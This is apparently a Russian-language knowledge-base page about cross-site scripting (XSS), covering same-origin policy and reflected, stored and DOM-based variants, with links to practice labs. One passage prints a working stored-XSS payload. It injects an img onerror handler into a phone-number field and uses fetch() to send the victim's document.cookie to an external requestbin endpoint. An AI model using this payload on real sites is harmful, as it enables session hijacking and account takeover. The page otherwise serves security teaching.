?????????? ????????? (XSS)

Уязвимость, позволяющая скомпрометировать взаимодействие пользователей с уязвимым приложением. Она позволяет обходить политику одного источника (англ. Same Origin Policy, SOP), которая предназначена для разделения различных веб сайтов друг от друга.

Политика одного источника (Same Origin Policy, SOP) предотвращает взаимодействие скриптов с содержимым страниц, происходящих с разных источников, чтобы обеспечить безопасное выполнение кода на веб-странице.

XSS позволяет маскироваться под пользователя-жертву, выполнять любые действия, которые может выполнить пользователь, и получать доступ к любым данным пользователя.

Если пользователь-жертва имеет привилегированный доступ внутри приложения, то атакующий может получить полный контроль над всей функциональностью и данными приложения.

Межсайтовый скриптинг работает путем манипулирования уязвимым веб-сайтом, чтобы он возвращал пользователям вредоносный JavaScript. Когда вредоносный код выполняется внутри браузера жертвы, злоумышленник может полностью скомпрометировать их взаимодействие с приложением.

Т е в данные добавляется модифицированный JS код, админ входит на эту страницу и вуаля.

Для проверки на наличие XSS уязвимости нужно добавить в поле данных управляющий символ html " > и т д. Если он остается в сохраненных данных - значит это возможно. Затем кодируется JS и все ок).

Один из наиболее распространенных сценариев развития атаки в этой ситуации – передача Cookie посетителя атакующему. Чтобы принять запрос, воспользуемся ресурсом https://requestbin.com/. Используем указанный в поле Endpoint URL для получения Cookie:

```
+79117238383"><img src=x onerror=fetch('https://ADDR.x.pipedream.net/?'+document.cookie) />
```

где ADDR – адрес вашего endpoint.

Основные типы XSS-атак

- Отраженный XSS, где вредоносный скрипт происходит из текущего HTTP запроса.
- Хранимый XSS, где вредоносный скрипт приходит из хранилища данных веб-сайта.
- Dom-based XSS, где уязвимость существует в клиентском коде, а не в коде сервера.

Отраженный межсайтовый скриптинг (XSS) возникает, когда приложение получает данные в HTTP-запросе и включает эти данные непосредственно в ответ небезопасным способом.

Хранимый XSS
Сохраненный межсайтовый скриптинг (скриптинг второго порядка или постоянный XSS) возникает, когда приложение получает данные из недоверенного источника и включает эти данные в свои последующие HTTP-ответы небезопасным способом. Например комментарии.

Dom-based XSS

XSS-уязвимости, основанные на DOM, обычно возникают, когда JavaScript берет данные из подконтрольного злоумышленнику источника, например, URL, и передает их «раковине» (англ. sink), поддерживающей динамическое выполнение кода, например, eval() или innerHTML. Это позволяет злоумышленникам выполнять вредоносный JavaScript, что обычно приводит к взлому учетных записей других пользователей.

Для реализации XSS-атаки, основанной на DOM, необходимо поместить данные в источник таким образом, чтобы они распространились на поглотитель и вызвали выполнение произвольного JavaScript.

Наиболее распространенным источником для DOM XSS является URL, доступ к которому обычно осуществляется с помощью объекта window.location. Злоумышленник может построить ссылку для отправки жертвы на уязвимую страницу с полезной нагрузкой в строке запроса и фрагментами URL. В некоторых случаях, например, при нацеливании на страницу 404 или на сайт, работающий на PHP, полезная нагрузка также может быть помещена в путь.

Доп. информация

- Простейший пример уязвимости
- Наиболее объемный набор лабораторных работ с хорошими кейсами: практики portswigger.
- Механизмы обеспечения безопасности клиентской части
- Основополагающие механизмы в работе браузера:
  - SOP
  - CORS
  - понятие "источника"
  - URL

Revision #3
Created 28 September 2025 16:31:01 by Admin
Updated 28 September 2025 17:35:17 by Admin